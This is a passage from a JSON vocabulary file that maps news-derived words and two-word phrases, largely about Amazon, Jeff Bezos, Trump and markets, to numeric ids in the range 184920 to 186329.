billion": 184920, "slums": 184921, "heated exchange": 184922, "reflects amazon": 184923, "having positive": 184924, "veto power": 184925, "revenue pushes": 184926, "cuar\u00f3n monumentality": 184927, "chants related": 184928, "rattled": 184929, "checkered": 184930, "ceo degree": 184931, "short circuit": 184932, "ministry": 184933, "sign warns": 184934, "billion seduction": 184935, "natenquirer": 184936, "alan santos": 184937, "ahead": 184938, "match daniel": 184939, "crusty voice": 184940, "ecommerce brands": 184941, "favorable acquirer": 184942, "incredible edible": 184943, "tanakh": 184944, "mail": 184945, "firms billions": 184946, "servitude": 184947, "venezuela right": 184948, "cover eevvf": 184949, "wouldn pay": 184950, "local business": 184951, "smith capitalism": 184952, "2260": 184953, "despite newfound": 184954, "leadership dead": 184955, "shot dead": 184956, "case amazon": 184957, "billionaire posing": 184958, "singer cat": 184959, "regarding pay": 184960, "fran\u00e7oise bettencourt": 184961, "uncommon don": 184962, "priebus described": 184963, "directions apologizes": 184964, "prenuptial agreement": 184965, "man holding": 184966, "restaurant": 184967, "netflix": 184968, "videoplayer videoplayer": 184969, "titans investing": 184970, "223": 184971, "showcasing flibs": 184972, "mysterious animal": 184973, "amazon 170": 184974, "men join": 184975, "stewart congress": 184976, "2017 nicole": 184977, "keely greenwood": 184978, "security space": 184979, "availability": 184980, "osho modern": 184981, "laura harrier": 184982, "written chapter": 184983, "perfumania": 184984, "tmz suggested": 184985, "real emergency": 184986, "lowe home": 184987, "egoacid egoacid": 184988, "attractive long": 184989, "visit twitter": 184990, "eyebrows": 184991, "vocal minority": 184992, "divide societies": 184993, "mccabe election": 184994, "nachman": 184995, "building garden": 184996, "independent": 184997, "brian wynne": 184998, "trumpian overwhelmingly": 184999, "renovations games": 185000, "recklessly": 185001, "anddomestic": 185002, "trump verbal": 185003, "bought boring": 185004, "234 shares": 185005, "job today": 185006, "alleen": 185007, "fyre festival": 185008, "course staffed": 185009, "rates president": 185010, "google fi": 185011, "industry giant": 185012, "company turnaround": 185013, "double murder": 185014, "ja function": 185015, "prices reliable": 185016, "faux variations": 185017, "gardner thanks": 185018, "described images": 185019, "meets farm": 185020, "oklahoma premieres": 185021, "follower blocked": 185022, "military men": 185023, "fedex mere": 185024, "intervened": 185025, "entirely vacant": 185026, "growing eu": 185027, "rabbi brett": 185028, "deforestation intensified": 185029, "cesar": 185030, "mgmt tx": 185031, "speciality": 185032, "greatest kind": 185033, "driverless": 185034, "queens assemblymembers": 185035, "structure changing": 185036, "political twist": 185037, "surest": 185038, "smitaprakash": 185039, "ceo speaks": 185040, "2018 profit": 185041, "language doubleday": 185042, "trump killed": 185043, "offer suborbital": 185044, "slashes number": 185045, "hold rally": 185046, "pentagon justifications": 185047, "week herera": 185048, "relationship just": 185049, "syndicators distressed": 185050, "outdoor recreation": 185051, "racine county": 185052, "community standards": 185053, "left worries": 185054, "massive turbo": 185055, "typically occurs": 185056, "aerial footage": 185057, "rodrigues": 185058, "investorplace": 185059, "systems analyst": 185060, "massive blooms": 185061, "damage global": 185062, "year high": 185063, "oswalt": 185064, "publicly bashed": 185065, "watts marketwatch": 185066, "china pressure": 185067, "shot book": 185068, "president predicto": 185069, "timeline nasa": 185070, "homeless veteran": 185071, "real scandal": 185072, "gizmodo kashmir": 185073, "negative press": 185074, "2000 img_h": 185075, "preschool teachers": 185076, "legs loose": 185077, "census mistake": 185078, "ms karni": 185079, "mayors amazon": 185080, "monopoly laws": 185081, "current quarter": 185082, "google holding": 185083, "andrews": 185084, "creators lena": 185085, "apartments tower": 185086, "soldier neo": 185087, "magic quadrant": 185088, "trust threats": 185089, "oil recovery": 185090, "new gates": 185091, "scheme": 185092, "philadelphia pennsylvania": 185093, "organizing": 185094, "ogr joint": 185095, "gunning": 185096, "playbook novel": 185097, "instilling inspiration": 185098, "contributor jason": 185099, "maybe stick": 185100, "bodycam footage": 185101, "establishment backed": 185102, "google respectively": 185103, "nyse cibc": 185104, "buckley": 185105, "know existed": 185106, "billions accumulating": 185107, "scorned companies": 185108, "alfre": 185109, "preliminary findings": 185110, "manipulate conversations": 185111, "eliminating drivers": 185112, "captured pilot": 185113, "assembly committee": 185114, "small minority": 185115, "2018 sessions": 185116, "measures gaap": 185117, "nasdaq sbux": 185118, "state saying": 185119, "surface pro": 185120, "unlimited resources": 185121, "lisa herbold": 185122, "blackledge overall": 185123, "building hq2": 185124, "specialized distribution": 185125, "rights sector": 185126, "pritzker democrat": 185127, "bullish zone": 185128, "recent quarters": 185129, "limited measure": 185130, "democracy scum": 185131, "mccabe new": 185132, "competitive problems": 185133, "aramco books": 185134, "doing grocery": 185135, "single provider": 185136, "looming": 185137, "pulitzer": 185138, "bag department": 185139, "customer product": 185140, "illegal practice": 185141, "email ne": 185142, "warren legislation": 185143, "paul dano": 185144, "leave service": 185145, "young workers": 185146, "support necessary": 185147, "43285 votes": 185148, "000 nfp": 185149, "cringely issues": 185150, "potus google": 185151, "awards6": 185152, "canceled voting": 185153, "albeit insufficiently": 185154, "escalated": 185155, "massive 139": 185156, "calif": 185157, "current home": 185158, "images jan": 185159, "classification assessment": 185160, "nasa opportunity": 185161, "elections heres": 185162, "story ai": 185163, "america lees": 185164, "thirdparty merchants": 185165, "rethink": 185166, "twitter ryanpoe": 185167, "nerdy": 185168, "message story": 185169, "sharper criticism": 185170, "agencies include": 185171, "remarks served": 185172, "reported earlier": 185173, "1994": 185174, "presenter": 185175, "success productions": 185176, "boy adventures": 185177, "kevin williamson": 185178, "discount offered": 185179, "dangerous eroding": 185180, "lower rate": 185181, "biggest criticisms": 185182, "government created": 185183, "provoking antitrust": 185184, "outperformers": 185185, "girlfriend trump": 185186, "term growth": 185187, "france recalls": 185188, "defense official": 185189, "think steve": 185190, "yplgqc9q9r brian": 185191, "null img_gallery_imageref": 185192, "time lena": 185193, "unleashed tweetstorm": 185194, "wrote prefer": 185195, "amass unprecedented": 185196, "leslie page": 185197, "grant writing": 185198, "legislature dn": 185199, "9million percentage": 185200, "local organizers": 185201, "generated algorithmically": 185202, "___ 2018": 185203, "firm toyota": 185204, "walker narrow": 185205, "fell short": 185206, "time features": 185207, "extremely peculiar": 185208, "begala": 185209, "investigating suspicious": 185210, "nonchalantly": 185211, "husband penis": 185212, "pez headed": 185213, "r4ee l4e": 185214, "hidethumbnail": 185215, "solid proposal": 185216, "breitbart ingraham": 185217, "chair": 185218, "lazyauto": 185219, "weather michigan": 185220, "fewer babies": 185221, "frills": 185222, "underpayment sandra": 185223, "game helps": 185224, "year computer": 185225, "tariffs 2018": 185226, "separate scotus": 185227, "story japans": 185228, "trillion short": 185229, "durable wapo": 185230, "direction tell": 185231, "restricted": 185232, "facility 2018": 185233, "cvs cbd": 185234, "calculus amazon": 185235, "confirmation hearing": 185236, "veteran military": 185237, "testimony": 185238, "gunman fatally": 185239, "gabriela caraga": 185240, "hallie jackson": 185241, "quoted jeff": 185242, "foundation industry": 185243, "sunnyside long": 185244, "predominately black": 185245, "studios width": 185246, "mother died": 185247, "publicaci\u00f3n_incorporada_incorporada_filaje_de_files": 185248, "season investorplace": 185249, "303567": 185250, "fourth box": 185251, "pure spectacle": 185252, "broadcasters senator": 185253, "myriad lines": 185254, "analysts saying": 185255, "mini crossword": 185256, "effort occurs": 185257, "await cardinal": 185258, "successful": 185259, "new love": 185260, "incoming chair": 185261, "says yang": 185262, "restaurants liable": 185263, "earhardt earhardt": 185264, "tossing": 185265, "echo chamber": 185266, "retirement avoid": 185267, "elected democrat": 185268, "trump spends": 185269, "888": 185270, "trump arguments": 185271, "falsehood democrats": 185272, "presidential nominee": 185273, "quarter increased": 185274, "called meager": 185275, "cfo ruth": 185276, "cnbc reports": 185277, "sanders boss": 185278, "hush money": 185279, "alternative newsmedia": 185280, "repellant": 185281, "img_caption null": 185282, "force companies": 185283, "political pandering": 185284, "markets opened": 185285, "cohon": 185286, "trump rescinded": 185287, "brazilian law": 185288, "mukherjee": 185289, "state center": 185290, "scores win": 185291, "politics business": 185292, "man evolution": 185293, "pressure drugs": 185294, "1237872 trump": 185295, "kate white": 185296, "mississippi border": 185297, "978 17338732": 185298, "hardcover edition": 185299, "chabad synagogue": 185300, "brazilian advocacy": 185301, "2018 andrew": 185302, "held amazon": 185303, "estate boom": 185304, "carolina wsj": 185305, "little heart": 185306, "including day": 185307, "timing": 185308, "acquires mexico": 185309, "revenue upside": 185310, "bolsonaro saw": 185311, "88th": 185312, "company billionaire": 185313, "haaland representative": 185314, "block market": 185315, "double analyst": 185316, "subsections watoday": 185317, "munduruku feedback": 185318, "488": 185319, "perspective tabloids": 185320, "concise manner": 185321, "american paying": 185322, "search app": 185323, "producthash user": 185324, "park buy": 185325, "injured lakewood": 185326, "intimidation tactics": 185327, "especially reducing": 185328, "breadth momentum": 185329, "j4 oa": 185330, "duration": 185331, "requiring internet": 185332, "expensive divorces": 185333, "property overlooking": 185334, "errant bit": 185335, "street littering": 185336, "leading american": 185337, "dwells": 185338, "money lobbying": 185339, "began writing": 185340, "similar wealth": 185341, "appleinsider": 185342, "stealing trade": 185343, "facebook follow": 185344, "congresswoman stefanik": 185345, "trump considering": 185346, "america demands": 185347, "mind include": 185348, "brother nbc": 185349, "mars don": 185350, "unless gavin": 185351, "mac moser": 185352, "council accountable": 185353, "maintain industry": 185354, "decorative hamburger": 185355, "sellers sort": 185356, "ubhi wrote": 185357, "reportedly split": 185358, "progressive think": 185359, "executive order": 185360, "plus fedex": 185361, "florida supercharged": 185362, "tingle": 185363, "commitment amazon": 185364, "rebate just": 185365, "government censorship": 185366, "troubles began": 185367, "pscnb comprised": 185368, "454": 185369, "hammered early": 185370, "booming companies": 185371, "pols including": 185372, "forte argues": 185373, "north korea": 185374, "nonprofit going": 185375, "crandall era": 185376, "base case": 185377, "development announced": 185378, "l8 function": 185379, "says randall": 185380, "service partners": 185381, "leased 000": 185382, "niedzwiadek nickniedz": 185383, "backing direct": 185384, "accustomed": 185385, "facts astonishingly": 185386, "cap ri": 185387, "continued disenfranchisement": 185388, "heavily favored": 185389, "form conga": 185390, "rocked merchandise": 185391, "krouse": 185392, "pleasantly": 185393, "luxury sites": 185394, "michigan democratic": 185395, "soon jeff": 185396, "betsy devos": 185397, "promote trump": 185398, "fretting": 185399, "kopen met": 185400, "belong": 185401, "transactions happening": 185402, "2016 lawsuit": 185403, "sent amid": 185404, "ceo outside": 185405, "globe award": 185406, "lowest cost": 185407, "make journalistic": 185408, "uber unlike": 185409, "increase rates": 185410, "trump place": 185411, "sister phone": 185412, "huateng": 185413, "seymour": 185414, "companies khanna": 185415, "german controlled": 185416, "woodward expos\u0449\u0430of": 185417, "protect free": 185418, "e8 t8": 185419, "daimler parent": 185420, "writes negative": 185421, "dr sampson": 185422, "aldi imperium": 185423, "attain": 185424, "financial marketplace": 185425, "800 743": 185426, "sexting drama": 185427, "vox vox": 185428, "industry adds": 185429, "invaluable": 185430, "worker injuries": 185431, "greg mcbride": 185432, "sourceflickr loiclemeur": 185433, "establish market": 185434, "know additional": 185435, "print sales": 185436, "money away": 185437, "billionaire jeff": 185438, "kinds": 185439, "griffeth everybody": 185440, "shoppers simple": 185441, "preying": 185442, "level negotiations": 185443, "reveals hack": 185444, "rates fluctuate": 185445, "battery powered": 185446, "source uber": 185447, "foreignintelligencesurveillanceact": 185448, "punish cnn": 185449, "challenge news": 185450, "missouri lawmaker": 185451, "measures": 185452, "members elect": 185453, "lewd pictures": 185454, "vigorous defense": 185455, "nosed father": 185456, "eder": 185457, "hirono": 185458, "allows employees": 185459, "junior jake": 185460, "columnist paul": 185461, "finding": 185462, "business scam": 185463, "useful gifts": 185464, "muslim congresswomen": 185465, "noteworthy republican": 185466, "industrial agribusiness": 185467, "crossings customs": 185468, "monopoly amazon": 185469, "sole winner": 185470, "spettypiece": 185471, "team federal": 185472, "headquarters known": 185473, "research finds": 185474, "implored president": 185475, "2018 achtung": 185476, "favorite": 185477, "golan": 185478, "remain keen": 185479, "center danhof": 185480, "bezos criticizing": 185481, "aws entering": 185482, "2019 pause": 185483, "specious lobbying": 185484, "stock 2018": 185485, "testy exchange": 185486, "launch series": 185487, "firms online": 185488, "concat r4ee": 185489, "identifies potentially": 185490, "little shoulders": 185491, "provoking": 185492, "reinvest": 185493, "make liberals": 185494, "cnn senior": 185495, "modi party": 185496, "amazon trillion": 185497, "amazonclarity pic": 185498, "location fall": 185499, "gdpr giving": 185500, "story wrote": 185501, "hurt solidly": 185502, "learning": 185503, "sanders plans": 185504, "progam": 185505, "queens neighborhoods": 185506, "laurence cendrowicz": 185507, "nbsp": 185508, "iisuperwomanii": 185509, "york agreed": 185510, "initially floated": 185511, "hard liners": 185512, "aliya capital": 185513, "\u0630\u0627\u0643 \u0627\u0644\u0628\u0639\u064a\u062f": 185514, "different everybody": 185515, "amazon gross": 185516, "america youngest": 185517, "services data": 185518, "astonishing story": 185519, "tat trade": 185520, "sell custom": 185521, "price floors": 185522, "recently protested": 185523, "bell": 185524, "party convention": 185525, "president mocked": 185526, "owner founded": 185527, "markets initiative": 185528, "icelandic": 185529, "bought products": 185530, "recent lirr": 185531, "stuart varney": 185532, "alibaba commerce": 185533, "nassau": 185534, "ice runs": 185535, "08m reported": 185536, "fabricated border": 185537, "limited number": 185538, "significant pressure": 185539, "external challenges": 185540, "underemployment": 185541, "independent vermont": 185542, "oaks california": 185543, "city rojas": 185544, "punishment": 185545, "immediately fired": 185546, "vagaries": 185547, "political reality": 185548, "emotion": 185549, "facebook control": 185550, "hurricane harvey": 185551, "don fight": 185552, "including national": 185553, "make counterfeit": 185554, "wins giro": 185555, "michelle gielan": 185556, "special tax": 185557, "good norah": 185558, "funded affordable": 185559, "120 type": 185560, "apple crossed": 185561, "inaccurate claims": 185562, "2018 jul": 185563, "keeps trying": 185564, "cuomo announced": 185565, "sanitation facilities": 185566, "behavioural problems": 185567, "bezos spaceflight": 185568, "calls": 185569, "coverage watch": 185570, "bulk customers": 185571, "cnl_name lead": 185572, "man claimed": 185573, "server719403 imagehash": 185574, "infrastructure necessary": 185575, "tnmorg": 185576, "central question": 185577, "bezos 2750989": 185578, "crossings bloomberg": 185579, "snl pic": 185580, "achieve number": 185581, "mere 000": 185582, "meetings starting": 185583, "lately says": 185584, "algo curation": 185585, "moving western": 185586, "shows sanchez": 185587, "meghann": 185588, "karman": 185589, "canadian department": 185590, "paying shipment": 185591, "1958 film": 185592, "join apple": 185593, "sharing anonymous": 185594, "gsa offers": 185595, "thomas beaumont": 185596, "woman groped": 185597, "arguably": 185598, "neil macfarquhar": 185599, "1955": 185600, "gives sellers": 185601, "bezos did": 185602, "alina alina": 185603, "pecker national": 185604, "students complain": 185605, "homes refugees": 185606, "2012 television": 185607, "recently entered": 185608, "trump defenders": 185609, "later 73bn": 185610, "toya sarno": 185611, "blue origin": 185612, "sl": 185613, "second wealthiest": 185614, "usa elections": 185615, "summit kicked": 185616, "r4ee k6": 185617, "fly reports": 185618, "year approval": 185619, "hotels mccabe": 185620, "axios exploratory": 185621, "moving higher": 185622, "threaten early": 185623, "blackmail jeff": 185624, "128gb microsd": 185625, "earnings targets": 185626, "offer incentives": 185627, "actual dollar": 185628, "fair climate": 185629, "gop senators": 185630, "moderates": 185631, "consumer retail": 185632, "material assuring": 185633, "watching don": 185634, "stink": 185635, "tools surprisingly": 185636, "jinsaotome4": 185637, "market direction": 185638, "washington european": 185639, "post dig": 185640, "sad trump": 185641, "virginia governor": 185642, "professor alan": 185643, "markets rallied": 185644, "tailored": 185645, "organisms": 185646, "obama participated": 185647, "charcoal yakitori": 185648, "redacted": 185649, "marvel fan": 185650, "task focused": 185651, "crossings stock": 185652, "valuation sanders": 185653, "shirts available": 185654, "retiring speaker": 185655, "farrakhan trump": 185656, "surface sl\u00f8k": 185657, "important women": 185658, "confront trump": 185659, "magazine long": 185660, "host called": 185661, "state handing": 185662, "cuba spain": 185663, "quietly evaluating": 185664, "907": 185665, "dead lena": 185666, "multiple architectures": 185667, "holiday packages": 185668, "worst lender": 185669, "did brave": 185670, "upcoming defense": 185671, "fading investment": 185672, "recommends fedex": 185673, "exit arrived": 185674, "pledging": 185675, "theorist": 185676, "government negotiations": 185677, "administrations efforts": 185678, "executing eisen": 185679, "thriller romance": 185680, "downright huge": 185681, "budding monopolistic": 185682, "000 people": 185683, "duncan hines": 185684, "hasn told": 185685, "war escalates": 185686, "jquery div": 185687, "accusations los": 185688, "nyt editorial": 185689, "spring apparel": 185690, "amendment allows": 185691, "yangtze river": 185692, "campaign corporate": 185693, "follows president": 185694, "acton native": 185695, "recognized jerusalem": 185696, "promotable": 185697, "dresses": 185698, "best information": 185699, "bezos connection": 185700, "american trade": 185701, "joy ride": 185702, "built cloud": 185703, "humanitarian tradition": 185704, "bay area": 185705, "hq6 selyukh": 185706, "mute button": 185707, "dubious": 185708, "large increase": 185709, "liquor beer": 185710, "insurance exclusive": 185711, "quantified": 185712, "releases dna": 185713, "packer": 185714, "retail investors": 185715, "remarkably quiet": 185716, "elemental": 185717, "chinese payment": 185718, "personal legal": 185719, "surveillance amazon": 185720, "kenyon": 185721, "eu criticism": 185722, "word swelling": 185723, "asphyxiation heart": 185724, "nominations post": 185725, "sources brennan": 185726, "created millions": 185727, "provide fuel": 185728, "makes payments": 185729, "margin squeeze": 185730, "scrutinise elemental": 185731, "state blues": 185732, "news google": 185733, "yarborough": 185734, "overall success": 185735, "dis transaction": 185736, "fallen lot": 185737, "suddenly change": 185738, "rents yahoo": 185739, "million items": 185740, "lending policies": 185741, "geographical": 185742, "comedy fred": 185743, "tumult wonder": 185744, "st germain": 185745, "nordstrom macy": 185746, "fewer soldiers": 185747, "famu case": 185748, "325m cash": 185749, "restrict chinese": 185750, "trump mounted": 185751, "drivers traction": 185752, "tuition fees": 185753, "rejected elite": 185754, "policy tipsheets": 185755, "dobie": 185756, "leveled": 185757, "hearing congress": 185758, "bigcharts marketwatch": 185759, "show__name": 185760, "online_services": 185761, "announcing law": 185762, "particular order": 185763, "advisory group": 185764, "rear guard": 185765, "involves interactions": 185766, "bona fides": 185767, "allowing terminally": 185768, "aretha franklin": 185769, "badly": 185770, "schiff says": 185771, "122": 185772, "billion contract": 185773, "sanford bernstein": 185774, "worker wages": 185775, "tools pre": 185776, "unreasonable forced": 185777, "dealer robert": 185778, "activity 21m": 185779, "spirited rivalries": 185780, "says rourke": 185781, "help stop": 185782, "autocrat": 185783, "jeffbezos right": 185784, "locating headquarters": 185785, "americans received": 185786, "forgotten souls": 185787, "short cuts": 185788, "everybody": 185789, "regulation pursuit": 185790, "arlington crystal": 185791, "reject censorship": 185792, "doings": 185793, "store check": 185794, "820 000": 185795, "attend conversion": 185796, "octane content": 185797, "flipkarts majority": 185798, "content trump": 185799, "tabloid napolitano": 185800, "environment banner": 185801, "trump finances": 185802, "times sulzberger": 185803, "steven": 185804, "maduro authoritarian": 185805, "republic": 185806, "trail 200": 185807, "robust": 185808, "mnuchin": 185809, "fauchald": 185810, "soybeans growing": 185811, "public subsidies": 185812, "company allows": 185813, "queenbjr": 185814, "entrepreneurial large": 185815, "police black": 185816, "largest tech": 185817, "hefty fine": 185818, "106 industrial": 185819, "problem suspicion": 185820, "spend government": 185821, "hadn jeff": 185822, "flores settlement": 185823, "results companies": 185824, "amazon marketing": 185825, "6cxafkpmqg daniel": 185826, "value recently": 185827, "sell stocks": 185828, "card": 185829, "true factor": 185830, "columnist ryan": 185831, "highthe": 185832, "newsletter streamline": 185833, "netflix outstanding": 185834, "generate profit": 185835, "greatest cloud": 185836, "automated recommendation": 185837, "despite jitters": 185838, "current science": 185839, "ongoing attempts": 185840, "president nbc": 185841, "street nba": 185842, "illegal loggers": 185843, "gbh insights": 185844, "kept coming": 185845, "advertising options": 185846, "new sectors": 185847, "florida saw": 185848, "just kidding": 185849, "domestic refers": 185850, "watch data": 185851, "order button": 185852, "snl nbcsnl": 185853, "wrote frankly": 185854, "rare look": 185855, "darkness": 185856, "hottest online": 185857, "nix inconvenient": 185858, "jeff zeleny": 185859, "seattle patrick": 185860, "entire economy": 185861, "gloves": 185862, "hourly wage": 185863, "happening yes": 185864, "luther king": 185865, "sears company": 185866, "profit sharing": 185867, "dr brenda": 185868, "space people": 185869, "house budget": 185870, "gizmo enthusiast": 185871, "world 1963": 185872, "hiring michael": 185873, "manages refills": 185874, "sales internationally": 185875, "taxes enabling": 185876, "facebook alphabet": 185877, "reinvests": 185878, "donation patterns": 185879, "house tariffs": 185880, "debtor": 185881, "lawsuit cites": 185882, "legislative reforms": 185883, "gallardo": 185884, "executive appointed": 185885, "ice test": 185886, "dashes hopes": 185887, "venezuela continue": 185888, "downgrades": 185889, "market bull": 185890, "people hurrying": 185891, "amazon exiled": 185892, "prices packages": 185893, "law mandates": 185894, "uber shipping": 185895, "new light": 185896, "house big": 185897, "include looking": 185898, "finding success": 185899, "travel trump": 185900, "revenue derived": 185901, "complete diabetes": 185902, "republican members": 185903, "commission parcel": 185904, "enquirer suggested": 185905, "metropolitan policy": 185906, "stories instead": 185907, "estate market": 185908, "vote 2018": 185909, "dislike barack": 185910, "probably gotten": 185911, "services company": 185912, "candidate dr": 185913, "ready access": 185914, "thestreet executive": 185915, "taken amazon": 185916, "amazon american": 185917, "britain parliament": 185918, "performs fair": 185919, "seattle hopes": 185920, "director marine": 185921, "pretty smart": 185922, "malloch author": 185923, "sound optimistic": 185924, "italian doctor": 185925, "wo": 185926, "big marijuana": 185927, "expedited shipping": 185928, "featured coverage": 185929, "mosquito": 185930, "untouched": 185931, "states postal": 185932, "wolff company": 185933, "altering costs": 185934, "protection team": 185935, "amazon piece": 185936, "uber app": 185937, "horrible story": 185938, "photo jeff": 185939, "book awards": 185940, "disclosed attempts": 185941, "364": 185942, "edges photo": 185943, "consistently say": 185944, "mastercard settle": 185945, "consider spinning": 185946, "fromnew": 185947, "aforementioned companies": 185948, "offers presorted": 185949, "unafraid": 185950, "list falsely": 185951, "romanov": 185952, "respective constituencies": 185953, "vaccine kindle": 185954, "skipped": 185955, "paying federal": 185956, "claimed jeff": 185957, "chance half": 185958, "political incompetence": 185959, "payment legal": 185960, "says online": 185961, "120 billion": 185962, "hersfeld": 185963, "political tyrants": 185964, "memo does": 185965, "hanin": 185966, "prosecution witness": 185967, "cold": 185968, "newest credit": 185969, "seeing big": 185970, "ratesworld news": 185971, "mutually satisfactory": 185972, "economic condition": 185973, "financial economist": 185974, "conference live": 185975, "legitimate case": 185976, "tesla ceo": 185977, "post reporters": 185978, "to\u0430quotes": 185979, "song contest": 185980, "extramarital affairs": 185981, "bought protection": 185982, "acknowledged secretly": 185983, "modest proposal": 185984, "weight loss": 185985, "caption sen": 185986, "seek simply": 185987, "provocative": 185988, "mobbed": 185989, "gesine": 185990, "gov andrew": 185991, "jets amazon": 185992, "khan aka": 185993, "trade squabbles": 185994, "hydrochlorothiazide": 185995, "investigator knew": 185996, "asylum policy": 185997, "dispose": 185998, "add_commas total": 185999, "post request": 186000, "blocked": 186001, "pee tapes": 186002, "process involved": 186003, "manufacturing policy": 186004, "planned acquisition": 186005, "hailing service": 186006, "king amazon": 186007, "example land": 186008, "infuriated trump": 186009, "negotiate discounted": 186010, "cars unaffordable": 186011, "major sneaker": 186012, "wear wireto": 186013, "gruber usa": 186014, "register floundered": 186015, "arts sciences": 186016, "datax": 186017, "strongly praised": 186018, "currentvideocollection descriptionplaintext": 186019, "close settings": 186020, "kneel": 186021, "lowly": 186022, "milwaukee": 186023, "devices asking": 186024, "trillion healthcare": 186025, "amendment followed": 186026, "whatshisname": 186027, "gazette reported": 186028, "excellent foreign": 186029, "retailers fear": 186030, "natural fit": 186031, "astray walmart": 186032, "castigations": 186033, "presumed": 186034, "audio": 186035, "later criticism": 186036, "website offered": 186037, "gaggle": 186038, "life riding": 186039, "strong software": 186040, "popular destination": 186041, "develops thanks": 186042, "hosts vast": 186043, "billion right": 186044, "strips": 186045, "run hedge": 186046, "oppressive": 186047, "fuel insurance": 186048, "metro criteria": 186049, "foster": 186050, "illegals trump": 186051, "planner": 186052, "operation according": 186053, "carlos maza": 186054, "getting grossly": 186055, "navarro badly": 186056, "decorative": 186057, "culture html": 186058, "senator mike": 186059, "congressional seats": 186060, "online giant": 186061, "historical standards": 186062, "fairly enthusiastic": 186063, "demartino declared": 186064, "vendors provide": 186065, "revisit": 186066, "series potential": 186067, "strictly regulate": 186068, "story right": 186069, "spirituality small": 186070, "criticized media": 186071, "sent privately": 186072, "mayor": 186073, "healthy bezos": 186074, "buying gold": 186075, "trump fundraiser": 186076, "headquarters jobs": 186077, "supposed benefits": 186078, "blogamazon investor": 186079, "employee called": 186080, "commence legal": 186081, "people took": 186082, "abandoned homeless": 186083, "transit hub": 186084, "controversial trump": 186085, "causal relationship": 186086, "users information": 186087, "challenged long": 186088, "killing osama": 186089, "entrepreneurial energy": 186090, "delivering care": 186091, "colours sell": 186092, "years mackenzie": 186093, "brody": 186094, "service reduce": 186095, "preview clip": 186096, "shiakapos": 186097, "schiff hardly": 186098, "college records": 186099, "using river": 186100, "closures": 186101, "operating executive": 186102, "shift policy": 186103, "occurrence lobbyists": 186104, "pits": 186105, "cleaner looking": 186106, "liberal establishment": 186107, "mingling": 186108, "spare": 186109, "peers rebounded": 186110, "credentials noah": 186111, "considered invoking": 186112, "increasingly messy": 186113, "chatter news": 186114, "justice": 186115, "rates outlook": 186116, "aws amazon": 186117, "old postal": 186118, "2014 divorce": 186119, "winner apple": 186120, "reduce taxes": 186121, "home exlarge": 186122, "uses pseudonyms": 186123, "executive roger": 186124, "sniff stamps": 186125, "u0 hc": 186126, "poland ap": 186127, "rough day": 186128, "disengagement": 186129, "sanchez vehemently": 186130, "emissions leading": 186131, "connect people": 186132, "tables jonathan": 186133, "delta state": 186134, "amazon controlling": 186135, "activists spoke": 186136, "nasty drop": 186137, "controlled american": 186138, "tech investment": 186139, "outlets calling": 186140, "supermarket today": 186141, "davidson announced": 186142, "slayings posted": 186143, "corporate debt": 186144, "siminoff": 186145, "decision leads": 186146, "announcement new": 186147, "bs_bullet_primary soccer": 186148, "100 prime": 186149, "seattle online": 186150, "barr molly": 186151, "forestry businesses": 186152, "incoming missiles": 186153, "mel": 186154, "recent report": 186155, "posted staggeringly": 186156, "cramer remarks": 186157, "released joint": 186158, "best technology": 186159, "alleged incidents": 186160, "including regulatory": 186161, "193": 186162, "products reach": 186163, "04m writes": 186164, "uber potential": 186165, "department appealed": 186166, "difference believe": 186167, "unsavory relationships": 186168, "trump concerned": 186169, "gossip item": 186170, "engrossing watch": 186171, "vendors selling": 186172, "2014 metro": 186173, "2014 telling": 186174, "torres wall": 186175, "thought autocracy": 186176, "training sessions": 186177, "combat opioid": 186178, "french marketwatch": 186179, "nearly importantly": 186180, "tough questions": 186181, "apple podcasts": 186182, "royce": 186183, "station miramar": 186184, "total height": 186185, "target operating": 186186, "mike kelly": 186187, "niki christoff": 186188, "times accusing": 186189, "utpol senator": 186190, "costs increase": 186191, "send delegation": 186192, "staff president": 186193, "1981": 186194, "schools governor": 186195, "raise fares": 186196, "strange friends": 186197, "lost revenue": 186198, "unsettled america": 186199, "various locations": 186200, "cujo": 186201, "exterior small": 186202, "centers salesforce": 186203, "levelled": 186204, "step files": 186205, "citizens just": 186206, "bezos prior": 186207, "innovators leave": 186208, "sanders given": 186209, "awaited invasion": 186210, "interviews karen": 186211, "clinton sanders": 186212, "wendell": 186213, "biometric facial": 186214, "marks shift": 186215, "looks good": 186216, "just growing": 186217, "experiences closer": 186218, "various platforms": 186219, "run headlines": 186220, "letters making": 186221, "transfer policy": 186222, "lookin tide": 186223, "expensive distraction": 186224, "bellecapital intl": 186225, "cross road": 186226, "decade trump": 186227, "brexit boosters": 186228, "blockbuster divorce": 186229, "sourcing counterfeits": 186230, "incredible benefits": 186231, "farmland": 186232, "dave jamieson": 186233, "formally charged": 186234, "canopy growth": 186235, "packages requesting": 186236, "force conclusion": 186237, "koyyur previous": 186238, "major parties": 186239, "misinterpreted list": 186240, "deal worse": 186241, "artist domenic": 186242, "aliso": 186243, "trade malmstrom": 186244, "difficulties": 186245, "gay members": 186246, "documents social": 186247, "real tax": 186248, "italian automaker": 186249, "talking point": 186250, "cheap food": 186251, "attended pic": 186252, "publishing accounts": 186253, "increasing scrutiny": 186254, "cook 100": 186255, "presidents testing": 186256, "ring amazon": 186257, "suriname": 186258, "identification": 186259, "bloodying": 186260, "algorithms amazon": 186261, "netflix amazon": 186262, "known case": 186263, "committee really": 186264, "amazon payments": 186265, "ferocious battle": 186266, "diet coke": 186267, "bromance check": 186268, "mexico pitched": 186269, "taxpayer expense": 186270, "amazon 1552": 186271, "yr 2018": 186272, "issuer": 186273, "tv newscaster": 186274, "zinke met": 186275, "facing societies": 186276, "announces naloxone": 186277, "beauty food": 186278, "underground": 186279, "pernicious thing": 186280, "winky": 186281, "coffee company": 186282, "house passed": 186283, "cruz noted": 186284, "martin baccardex": 186285, "education training": 186286, "sink ships": 186287, "bets": 186288, "mrbezos": 186289, "revolted": 186290, "rate seen": 186291, "qualms": 186292, "currently encounters": 186293, "muckerman think": 186294, "world carlos": 186295, "mediatek helio": 186296, "tracked bezos": 186297, "big way": 186298, "republican met": 186299, "clapper": 186300, "true anthony": 186301, "575x270 uploaded_files": 186302, "donors sen": 186303, "shows movies": 186304, "faa approved": 186305, "easy win": 186306, "proudly stand": 186307, "returning state": 186308, "report kate": 186309, "work rules": 186310, "soft": 186311, "offices embedded": 186312, "counts related": 186313, "hq2 considerations": 186314, "cool high": 186315, "cnl_custom_color": 186316, "cloud tech": 186317, "cup trump": 186318, "published ripoff": 186319, "travel autos": 186320, "backfired 2018": 186321, "increasing medium": 186322, "colbert confronts": 186323, "prices crude": 186324, "printed referring": 186325, "prison house": 186326, "report fbi": 186327, "modern reboot": 186328, "board called": 186329, "politics pelosi": 